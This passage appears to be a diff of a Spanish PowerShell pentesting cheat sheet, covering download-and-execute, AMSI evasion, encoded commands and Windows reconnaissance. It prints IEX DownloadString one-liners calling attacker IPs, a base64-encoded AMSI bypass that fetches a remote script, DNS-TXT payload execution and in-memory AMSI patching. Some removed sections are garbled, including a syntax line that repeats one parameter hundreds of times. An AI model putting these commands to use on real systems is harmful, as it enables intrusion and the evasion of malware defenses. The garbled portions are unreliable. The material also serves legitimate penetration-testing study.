-Invoke-WebRequest -Uri -OutFile ; .\ -``` - -Replace `` with the URL of the file you want to download, and `` with the desired name for the downloaded file. - -Reemplaza `` con la URL del archivo que deseas descargar, y `` con el nombre deseado para el archivo descargado. - -This command uses the `Invoke-WebRequest` cmdlet to download the file from the specified URL and save it to the local system. The `-OutFile` parameter specifies the name of the output file. - -Este comando utiliza el cmdlet `Invoke-WebRequest` para descargar el archivo desde la URL especificada y guardarlo en el sistema local. El parámetro `-OutFile` especifica el nombre del archivo de salida. - -After downloading the file, the second part of the command `.\` executes the downloaded file. - -Después de descargar el archivo, la segunda parte del comando `.\` ejecuta el archivo descargado. +## Descarga y Ejecución ```powershell g echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute @@ -95,206 +40,48 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr #host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` -### Descargar y ejecutar en segundo plano con bypass de AMSI - -This technique allows you to download and execute a file in the background while bypassing the Antimalware Scan Interface (AMSI) in Windows. - -#### Requirements - -- PowerShell version 5.1 or higher -- Internet access - -#### Instructions - -1. Open a PowerShell session as an administrator. - -2. Run the following command to download the file and save it to a temporary location: - -```powershell -Invoke-WebRequest -Uri "URL" -OutFile "C:\Temp\file.exe" -``` - -Replace "URL" with the actual URL of the file you want to download. - -3. Use the following command to bypass AMSI and execute the downloaded file in the background: - -```powershell -$bytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe") -[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, @()) -``` - -Make sure to replace "C:\Temp\file.exe" with the actual path and filename of the downloaded file. - -4. The file will be executed in the background without triggering any AMSI alerts. - -Note: This technique is for educational purposes only and should not be used for any malicious activities. +### Descarga y ejecución en segundo plano con evasión de AMSI ```powershell Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` -### Usando b64 en Linux - -El comando `b64` es una herramienta útil para codificar y decodificar archivos en base64 en sistemas Linux. Puede ser utilizado por los pentesters para realizar diversas tareas durante una prueba de penetración. - -#### Codificar un archivo en base64 - -Para codificar un archivo en base64, puedes utilizar el siguiente comando: - -```bash -b64 -e archivo > archivo_codificado -``` - -Esto tomará el archivo especificado y generará un nuevo archivo llamado `archivo_codificado` que contendrá la versión codificada en base64 del archivo original. - -#### Decodificar un archivo en base64 - -Si deseas decodificar un archivo en base64, puedes utilizar el siguiente comando: - -```bash -b64 -d archivo_codificado > archivo_decodificado -``` - -Esto tomará el archivo codificado en base64 especificado y generará un nuevo archivo llamado `archivo_decodificado` que contendrá la versión decodificada del archivo original. - -#### Codificar y decodificar texto en base64 - -Además de archivos, también puedes utilizar `b64` para codificar y decodificar texto en base64. Para codificar un texto, puedes utilizar el siguiente comando: - -```bash -echo "texto" | b64 -e -``` - -Esto imprimirá la versión codificada en base64 del texto especificado. - -Para decodificar un texto en base64, puedes utilizar el siguiente comando: - -```bash -echo "texto_codificado" | b64 -d -``` - -Esto imprimirá la versión decodificada del texto en base64 especificado. - -Recuerda que el comando `b64` está disponible en sistemas Linux y puede ser una herramienta útil para realizar diversas tareas durante una prueba de penetración. +### Uso de b64 desde linux ```powershell echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` -## Descargar +## Descarga ### System.Net.WebClient ```powershell (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` -El comando `Invoke-WebRequest` se utiliza en PowerShell para enviar solicitudes HTTP a un servidor web y recibir respuestas. Puede ser utilizado por los pentesters para realizar pruebas de penetración en aplicaciones web. - -#### Sintaxis - -```powershell -Invoke-WebRequest [-Uri] [-Method ] [-Headers ] [-Body ] [-ContentType ] [-UserAgent ] [-Proxy ] [-ProxyCredential ] [-TimeoutSec ] [-SessionVariable ] [-WebSession ] [-UseBasicParsing] [-DisableKeepAlive] [-SkipCertificateCheck] [-MaximumRedirection ] [-MaximumRetryCount ] [-MaximumRetryIntervalSec ] [-ProxyUseDefaultCredentials] [-ProxyByPassList ] [-ProxyByPassProxy] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] +### Invoke-WebRequest ```powershell Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget - -Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows. - -To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some common examples: - -- Download a file: -``` -wget [URL] -``` - -- Download a file and save it with a different name: -``` -wget -O [output file] [URL] -``` - -- Download multiple files: -``` -wget [URL1] [URL2] [URL3] -``` - -- Download a file and continue an interrupted download: -``` -wget -c [URL] -``` - -- Download a file and limit the download speed: -``` -wget --limit-rate=[speed] [URL] -``` - -- Download a file and specify the user agent: -``` -wget --user-agent="[user agent]" [URL] -``` - -- Download a file and specify the referer: -``` -wget --referer="[referer URL]" [URL] -``` - -- Download a file and specify the output directory: -``` -wget --directory-prefix=[directory] [URL] -``` - -These are just a few examples of what you can do with Wget. It is a powerful tool that can be used for various purposes in your pentesting activities. ```powershell wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer - -BitsTransfer es un módulo de PowerShell que permite la transferencia de archivos en segundo plano utilizando el servicio de transferencia inteligente en segundo plano (BITS) de Windows. BITS es un protocolo de transferencia de archivos que se ejecuta en el sistema operativo Windows y permite la transferencia de archivos de manera eficiente y confiable, incluso en condiciones de red adversas. - -BitsTransfer proporciona una interfaz de línea de comandos para administrar las transferencias de archivos utilizando BITS. Esto puede ser útil para los pentesters, ya que les permite transferir archivos de forma discreta y eficiente durante una prueba de penetración. - -Algunos comandos útiles de BitsTransfer incluyen: - -- `Start-BitsTransfer`: Inicia una transferencia de archivo utilizando BITS. -- `Get-BitsTransfer`: Obtiene información sobre las transferencias de archivos en curso. -- `Complete-BitsTransfer`: Completa una transferencia de archivo en curso. -- `Remove-BitsTransfer`: Elimina una transferencia de archivo en curso. - -BitsTransfer es una herramienta poderosa que puede ser utilizada por los pentesters para transferir archivos de manera sigilosa y eficiente durante una prueba de penetración en sistemas Windows. ```powershell Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` -## Base64 Kali y EncodedCommand - -En algunas situaciones, como durante una prueba de penetración, es posible que necesitemos codificar comandos de PowerShell para evitar la detección por parte de los sistemas de seguridad. Una técnica comúnmente utilizada es la codificación Base64. - -En Kali Linux, podemos utilizar la herramienta `base64` para codificar nuestros comandos de PowerShell. Aquí hay un ejemplo de cómo hacerlo: - -```bash -echo "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')" | base64 -``` - -Esto codificará el comando de PowerShell en Base64. Luego, podemos copiar el resultado codificado y utilizarlo en nuestro ataque. - -Una vez que tenemos el comando codificado en Base64, podemos ejecutarlo en un sistema Windows utilizando el parámetro `-EncodedCommand` de PowerShell. Aquí hay un ejemplo de cómo hacerlo: - -```powershell -powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AGUAbQBlACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGMAawBpAG4AdABlAHIALgBjAG8AbQAvAG0AYQBsAGkAYwBpAGEAcwBwADEAJwApACkA -``` - -Esto ejecutará el comando codificado en Base64 en el sistema Windows objetivo. - -Recuerda que el uso de técnicas de codificación como esta puede ayudar a evadir la detección, pero no garantiza el éxito. Es importante tener en cuenta las medidas de seguridad y la legalidad al realizar pruebas de penetración. +## Base64 Kali & EncodedCommand ```powershell kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` -## [Política de ejecución](../authentication-credentials-uac-and-efs.md#ps-execution-policy) +## [Política de Ejecución](../authentication-credentials-uac-and-efs.md#ps-execution-policy) -## [Lenguaje restringido](broken-reference/) +## [Lenguaje Restringido](broken-reference/) ## [Política de AppLocker](broken-reference/) -## Habilitar WinRM (PS remoto) +## Habilitar WinRM (PS Remoto) ```powershell enable-psremoting -force #This enables winrm @@ -340,13 +127,13 @@ ValueData : 0 ``` {% endcode %} -### Bypass de AMSI +### Evasión de AMSI -**`amsi.dll`** se **carga** en tu proceso y tiene las **exportaciones** necesarias para que cualquier aplicación interactúe con él. Y debido a que se carga en el espacio de memoria de un proceso que **controlas**, puedes cambiar su comportamiento **sobrescribiendo las instrucciones en memoria**. Haciendo que no detecte nada. +**`amsi.dll`** se **carga** en tu proceso y tiene las **exportaciones** necesarias para que cualquier aplicación interactúe con ella. Y debido a que se carga en el espacio de memoria de un proceso que **controlas**, puedes cambiar su comportamiento **sobrescribiendo instrucciones en memoria**. Haciendo que no detecte nada. -Por lo tanto, el objetivo de los bypasses de AMSI es **sobrescribir las instrucciones de esa DLL en memoria para hacer que la detección sea inútil**. +Por lo tanto, el objetivo de las evasiones de AMSI que verás es **sobrescribir las instrucciones de esa DLL en memoria para hacer la detección inútil**. -Página web generadora de bypass de AMSI: [**https://amsi.fail/**](https://amsi.fail/) +Página web del **generador de evasión de AMSI**: [**https://amsi.fail/**](https://amsi.fail/) ```powershell # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -391,146 +178,59 @@ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ``` -### AMSI Bypass 2 - Hooking de llamadas a API administradas +### AMSI Bypass 2 - Gancho de llamada a API gestionada -Consulta [**esta publicación para obtener información detallada**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)[ **y el código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). +Consulta [**este post para información detallada**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)[ **y el código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). -Esta nueva técnica se basa en el hooking de llamadas a API de métodos .NET. Resulta que los métodos .NET deben compilarse en instrucciones de máquina nativas en la memoria, lo que hace que se vean muy similares a los métodos nativos. Estos métodos compilados pueden ser enganchados para cambiar el flujo de control de un programa. +Esta nueva técnica se basa en el gancho de llamadas a API de métodos .NET. Resulta que los métodos .NET necesitan compilarse en instrucciones de máquina nativas en memoria, las cuales terminan pareciéndose mucho a los métodos nativos. Estos métodos compilados pueden ser manipulados para cambiar el flujo de control de un programa. -Los pasos para realizar el hooking de llamadas a API de métodos .NET son: +Los pasos para realizar el gancho de llamada a API de métodos .NET son: -1. Identificar el método objetivo para enganchar +1. Identificar el método objetivo a manipular 2. Definir un método con el mismo prototipo de función que el objetivo -3. Utilizar reflexión para encontrar los métodos +3. Usar reflexión para encontrar los métodos 4. Asegurarse de que cada método haya sido compilado -5. Encontrar la ubicación de cada método en la memoria +5. Encontrar la ubicación de cada método en memoria 6. Sobrescribir el método objetivo con instrucciones que apunten a nuestro método malicioso ### AMSI Bypass 3 - Privilegio SeDebug -Siguiendo [**esta guía y código**](https://github.com/MzHmO/DebugAmsi), puedes ver cómo, con suficientes privilegios para depurar procesos, puedes generar un proceso powershell.exe, depurarlo, monitorear cuándo carga `amsi.dll` y desactivarlo. +Siguiendo [**esta guía y código**](https://github.com/MzHmO/DebugAmsi), puedes ver cómo, con suficientes privilegios para depurar procesos, puedes iniciar un proceso powershell.exe, depurarlo, monitorear cuando carga `amsi.dll` y desactivarlo. -## Historial de PS +### AMSI Bypass - Más Recursos + ++ [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) ++ [Amsi Bypass en Windows 11 en 2023](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023) + +## PS-Historial ```powershell Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## Obtener permisos - -To determine the permissions of a file or directory in Windows, you can use the `Get-Acl` cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object. - -```powershell -Get-Acl -Path C:\path\to\file.txt -``` - -This command will display the permissions associated with the specified file. The output will include information such as the owner of the file, the access control entries (ACEs) that define the permissions, and any inherited permissions. - -You can also use the `Get-Acl` cmdlet to retrieve the permissions for a directory: - -```powershell -Get-Acl -Path C:\path\to\directory -``` - -This command will display the permissions associated with the specified directory, including any subdirectories and files within it. - -By using the `Get-Acl` cmdlet, you can easily obtain the permissions of a file or directory in Windows, which can be useful for understanding the security settings and access rights of a system. ```powershell Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` -## Versión del sistema operativo y HotFixes - -Para obtener información sobre la versión del sistema operativo y los HotFixes instalados en un sistema Windows, puedes utilizar el siguiente comando de PowerShell: - -```powershell -Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture -``` - -Este comando mostrará la versión del sistema operativo, la versión del Service Pack y la arquitectura del sistema. - -Además, puedes obtener una lista de los HotFixes instalados en el sistema utilizando el siguiente comando: - -```powershell -Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object HotFixID, InstalledOn -``` - -Este comando mostrará el identificador del HotFix y la fecha en que fue instalado. - -Estos comandos son útiles para obtener información sobre la versión del sistema operativo y los HotFixes instalados, lo cual puede ser útil durante una evaluación de seguridad o una prueba de penetración. +## Versión del SO y HotFixes ```powershell [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Entorno - ---- - -## Purpose - ---- - -## Propósito - ---- - -## Prerequisites - ---- - -## Requisitos previos - ---- - -## Instructions - ---- - -## Instrucciones - ---- - -## Conclusion - ---- - -## Conclusión ```powershell Get-ChildItem Env: | ft Key,Value #get all values $env:UserName @Get UserName value ``` ## Otras unidades conectadas - -When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One valuable piece of information is the list of connected drives on the system. This can help identify additional storage devices or network shares that may contain sensitive data. - -In PowerShell, you can use the `Get-PSDrive` cmdlet to retrieve a list of all connected drives. This cmdlet returns information about both local and remote drives, including drive letters, drive types, and the root directory of each drive. - -To retrieve the list of connected drives, open a PowerShell session and run the following command: - -```powershell -Get-PSDrive -``` - -This will display a table with information about each connected drive, including the drive letter, drive type, and root directory. - -By examining the list of connected drives, you may discover additional storage devices or network shares that could potentially be targeted during your penetration test. This information can be useful for identifying potential attack vectors and areas of interest for further investigation. - -Remember to always obtain proper authorization before conducting any penetration testing activities. Unauthorized access to systems or data is illegal and unethical. ```powershell Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` -### Papelera de reciclaje - -La Papelera de reciclaje es una característica de Windows que permite a los usuarios recuperar archivos y carpetas eliminados. Cuando se elimina un archivo o carpeta, en lugar de ser eliminado permanentemente, se mueve a la Papelera de reciclaje. Desde allí, los usuarios pueden restaurar los archivos o vaciar la Papelera de reciclaje para eliminarlos de forma permanente. - -La Papelera de reciclaje se encuentra en el escritorio de Windows y se representa con un ícono de una papelera. Al hacer clic derecho en la Papelera de reciclaje, los usuarios pueden acceder a opciones adicionales, como restaurar archivos o cambiar la configuración de la Papelera de reciclaje. - -Es importante tener en cuenta que la Papelera de reciclaje tiene un límite de capacidad y, una vez alcanzado, los archivos más antiguos se eliminarán automáticamente para dar espacio a los nuevos archivos eliminados. Por lo tanto, es recomendable vaciar periódicamente la Papelera de reciclaje para liberar espacio en el disco duro. +### Papelera de Reciclaje ```powershell $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() ``` -[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/) - ## Reconocimiento de Dominio {% content-ref url="powerview.md" %} @@ -542,22 +242,7 @@ $rb.Items() Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` -## Cadena segura a texto sin formato - -Cuando se realiza una evaluación de seguridad en un entorno de Windows, a menudo es necesario analizar scripts de PowerShell para identificar posibles vulnerabilidades. Una técnica común utilizada por los pentesters es buscar cadenas seguras en los scripts de PowerShell y convertirlas a texto sin formato para su análisis. - -A continuación se muestra un método sencillo para convertir una cadena segura en PowerShell a texto sin formato: - -```powershell -$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force -$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)) -``` - -En este ejemplo, la cadena segura "MySecurePassword" se convierte a texto sin formato utilizando el método `ConvertTo-SecureString`. Luego, se utiliza la clase `System.Runtime.InteropServices.Marshal` para convertir la cadena segura en un puntero a una cadena de caracteres (`BSTR`) y finalmente se convierte en texto sin formato utilizando el método `PtrToStringAuto`. - -Es importante tener en cuenta que este método solo funciona si el script de PowerShell se ejecuta en el mismo contexto de usuario en el que se creó la cadena segura. Si el script se ejecuta en un contexto de usuario diferente, la cadena segura no se puede convertir a texto sin formato. - -Esta técnica puede ser útil para analizar scripts de PowerShell en busca de posibles contraseñas o información sensible almacenada en cadenas seguras. Sin embargo, es importante recordar que 